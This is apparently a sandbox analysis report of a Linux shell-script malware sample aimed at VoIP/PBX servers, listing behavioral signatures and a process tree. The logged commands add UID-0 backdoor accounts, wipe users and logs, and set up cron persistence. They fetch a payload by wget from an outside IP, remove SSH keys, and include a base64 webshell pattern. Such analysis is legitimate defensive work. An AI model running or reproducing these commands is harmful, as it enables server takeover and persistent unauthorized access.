Analysis
- max time kernel
7s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
26/07/2026, 04:33
General
- Target k.php.sh
- Size 48KB
- Sample260726-e6rxesbn3y
- SHA256 2cb356e128ce0d2e713abdc713739a2ef551f7d0b1f9148561c162d8b57a0c0e
Score
8/10
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 64 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes Audit logs 1 TTPs 1 IoCs
Deletes logs related to the Linux Audit framework.
- OS Credential Dumping 1 TTPs 31 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
- Adds a user to the system 22 IoCs
- Creates/modifies Cron job 1 TTPs 11 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 18 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Deletes log files 1 TTPs 17 IoCs
Deletes log files on the system.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies Bash startup script 2 TTPs 18 IoCs
- Deobfuscate/Decode Files or Information 1 TTPs 19 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
- Creates .desktop file 2 TTPs 8 IoCs
Linux desktops like GNOME require .desktop files to register applications. Sometimes abused by malware for persistence.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 20 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/k.php.sh/tmp/k.php.sh1⤵
- Writes file to tmp directory
-
/bin/bashbash2⤵
- Creates/modifies environment variables
- Modifies rc script
- Modifies Bash startup script
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/rmrm -rf /tmp/config-err-t13cLc /tmp/k.php.sh /tmp/netplan_jvq38pz7 /tmp/snap-private-tmp /tmp/ssh-rbIg7YK5GJlZ /tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-bolt.service-74xfg5 /tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-colord.service-SURpjf /tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-ModemManager.service-pj1LWe /tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-systemd-resolved.service-nj3GWo /tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-systemd-timedated.service-r32sqI "/tmps/*" "/trmp/*" /var/tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-bolt.service-71bagE /var/tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-colord.service-Zi2FmQ /var/tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-ModemManager.service-NvaCyF /var/tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-systemd-resolved.service-nZ4WkO /var/tmp/systemd-private-34b30e6cbc1f4005a68336037f995816-systemd-timedated.service-DI7NLm "/var/tmps/*" "/var/trmp/*" "/var/lib/asterisk/bin/devnull*"3⤵
-
-
/bin/rmrm -rf /tmp/devnull24 /tmps/devnull24 /trmp/devnull24 /var/tmp/devnull24 /var/tmps/devnull24 /var/trmp/devnull24 /var/lib/asterisk/bin/devnull243⤵
-
-
/bin/rmrm -rf /tmp/devnull23 /tmps/devnull23 /trmp/devnull23 /var/tmp/devnull23 /var/tmps/devnull23 /var/trmp/devnull23 /var/lib/asterisk/bin/devnull233⤵
-
-
/bin/rmrm -rf /tmp/devnull2 /tmps/devnull2 /trmp/devnull2 /var/tmp/devnull2 /var/tmps/devnull2 /var/trmp/devnull2 /var/lib/asterisk/bin/devnull23⤵
-
-
/bin/rmrm -rf /tmp/k /tmps/k /tmp/.font-unix /tmp/.ICE-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.XIM-unix "/tmps/.??*" "/trmp/.??*"3⤵
-
-
/usr/bin/awkawk -F: "(\$3 == 0 || \$3 >= 1000) && \$1 != \"root\" {system(\"userdel -rf \" \$1 \" 2>/dev/null; sed -i \\\"/^\" \$1 \":/d\\\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/\" \$1 \" 2>/dev/null\")}" /etc/passwd3⤵
-
/bin/shsh -c "userdel -rf nobody 2>/dev/null; sed -i \"/^nobody:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/nobody 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf nobody5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^nobody:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/nobody5⤵
-
-
-
/bin/shsh -c "userdel -rf user 2>/dev/null; sed -i \"/^user:/d\" /etc/passwd /etc/shadow /etc/group /etc/gshadow; rm -rf /home/user 2>/dev/null"4⤵
-
/usr/sbin/userdeluserdel -rf user5⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
/usr/sbin/nscdnscd -i passwd6⤵
-
-
/usr/sbin/nscdnscd -i group6⤵
-
-
-
/bin/sedsed -i "/^user:/d" /etc/passwd /etc/shadow /etc/group /etc/gshadow5⤵
- OS Credential Dumping
-
-
/bin/rmrm -rf /home/user5⤵
-
-
-
-
/bin/grepgrep -R "--include=*.php" -l "t3rr0r\\|b3d0r\\|pastebin\\|Hacked\\|MusicTeam\\|Aragon\\|Black Ban\\|New-Pbx\\|Emad__Was__Here" /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
- Reads runtime system information
-
-
/bin/grepgrep -rlZ atmin /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -0 -I "{}" sh -c "cp {} /root/backup/ 2>/dev/null; rm -v {}"3⤵
-
-
/bin/grepgrep -rlZ cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8 /var/www/html/3⤵
-
-
/usr/bin/sortsort -u3⤵
-
-
/bin/grepgrep -r "--include=*.php" -l -E "(eval.*base64_decode|/\\*[A-Za-z0-9]+\\*/eval|c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF|New-Pbx|Emad__Was__Here|VictamPbx|emad|t3rr0r|FaTaLisTiCz_Fx|Hacked|b374k|xman|cGhwCmlmKG1kNSgkX1JFUVVFU1RbJ3AnXSk9PScxYzk1YmFkNWIwMzY1OGYzMzE4MzNkNmVhOWU3Nzg4NycpIAp7CkBzeXN0ZW0oJF9SRVFVRVNUWydjJ10pOyAKaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsgCmluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOyAKJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7IAokZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsgCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsgCnNlc3Npb25fc3RhcnQoKTsgCiRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07IAokX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOyAKZWNobyAnPGEgaHJlZj0iLyIgPkVtYWRfX1dhc19fSGVyZTwvYT4nOwp9Cj8|4ce19905aac5c1a58fc464e5bc1ce027|a62e7e1e4dfd211e99796aebb24dd872|Unauth0r1zed|Aragon|atmin|system\\(\\\$_GET\\[)|eval\\(\\\$_POST|eval\\(\\\$_REQUEST|eval\\(\\\$_GET|system\\(\\\$c\\s" /var/www/html/3⤵
-
-
/usr/bin/cutcut -d : -f13⤵
-
-
/bin/grepgrep -rE "--include=*.php" Emad__Was__Here /var/www/html/3⤵
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
-
-
/usr/bin/xargsxargs -0 grep -Il "<?php system("3⤵
-
/usr/local/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/local/bin/grepgrep -Il "<?php system("4⤵
-
-
/usr/sbin/grepgrep -Il "<?php system("4⤵
-
-
/usr/bin/grepgrep -Il "<?php system("4⤵
-
-
/sbin/grepgrep -Il "<?php system("4⤵
-
-
/bin/grepgrep -Il "<?php system("4⤵
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbxs4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user newfpbxs --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." newfpbx4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user newfpbx --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash3⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
/sbin/pam_tally2pam_tally2 --user xhimax --reset --quiet5⤵
-
-
/usr/sbin/nscdnscd -i passwd5⤵
-
-
/usr/sbin/nscdnscd -i group5⤵
-
-
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/bin/mkdirmkdir -p /tmps /tmp /trmp /var/spool/asterisk/tmp3⤵
-
-
/usr/bin/headhead -c83⤵
-
-
/usr/bin/trtr -dc a-z0-93⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmps/.y2f0qsnj3⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /tmp/.y2f0qsnj3⤵
- Writes file to tmp directory
-
-
/usr/bin/wgetwget -q --no-check-certificate http://160.119.69.4/ -O /trmp/.y2f0qsnj3⤵
-
-
/usr/bin/findfind /home -name authorized_keys -exec sed -i /AAAAB3NzaC1yc2EAAAADAQABAAABAQCLLJeL3g2dbjGE/d "{}" ";"3⤵
-
-
/bin/rmrm -f /root/.ssh/authorized_keys3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/crontab3⤵
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/cron.d/anacron3⤵
- Creates/modifies Cron job
-
-
/bin/sedsed -i "s/62\\.171\\.157\\.156\\|178\\.214\\.77\\.7\\|45.234\\.176\\.202\\|46\\.37\\.21\\.63\\|162\\.217\\.98\\.180\\|202\\.170\\.120\\.157\\|111\\.223\\.32\\.50|212\\.83\\.160\\.70/160.119.69.4/g" /etc/cron.d/popularity-contest3⤵
- Creates/modifies Cron job
-
-
/sbin/iptablesiptables -C INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 62.171.157.156 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 178.214.77.7 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 45.234.176.202 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 46.37.21.63 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 162.217.98.180 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 172.93.111.169 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 107.191.47.36 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 3.89.108.204 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 37.252.64.234 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 202.170.120.157 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 111.223.32.50 -j DROP3⤵
-
-
/sbin/iptablesiptables -C INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A INPUT -s 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -C OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/sbin/iptablesiptables -A OUTPUT -d 212.83.160.70 -j DROP3⤵
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." centos -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user centos --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." admin -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user admin --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." support -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user support --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." issabel -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user issabel --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." sangoma -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user sangoma --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." emo -s /bin/bash -d /dev/null3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user emo --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -o -u 0 -g 0 -p "\$1\$nRz1Cbtk\$6DnGs37n.OpPcgejUfp9p." xhimax -s /bin/bash -d /dev/null3⤵
- Adds a user to the system
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php3⤵
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bash_profile3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /root/.bashrc3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/grepgrep serv3⤵
-
-
/bin/grepgrep setsid /etc/rc.local3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/sbin/useradduseradd -m -s /bin/bash sugarmaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user sugarmaint --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash spamfilter3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user spamfilter --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asteriskuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user asteriskuser --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supports3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user supports --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash freepbxuser3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user freepbxuser --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash supermaint3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user supermaint --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash asterisk3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user asterisk --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/useradduseradd -m -s /bin/bash hima3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Creates/modifies environment variables
- Modifies Bash startup script
- Creates .desktop file
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/sbin/pam_tally2pam_tally2 --user hima --reset --quiet4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
/usr/sbin/chpasswdchpasswd -e3⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
/usr/sbin/nscdnscd -i group4⤵
-
-
/usr/sbin/nscdnscd -i passwd4⤵
-
-
-
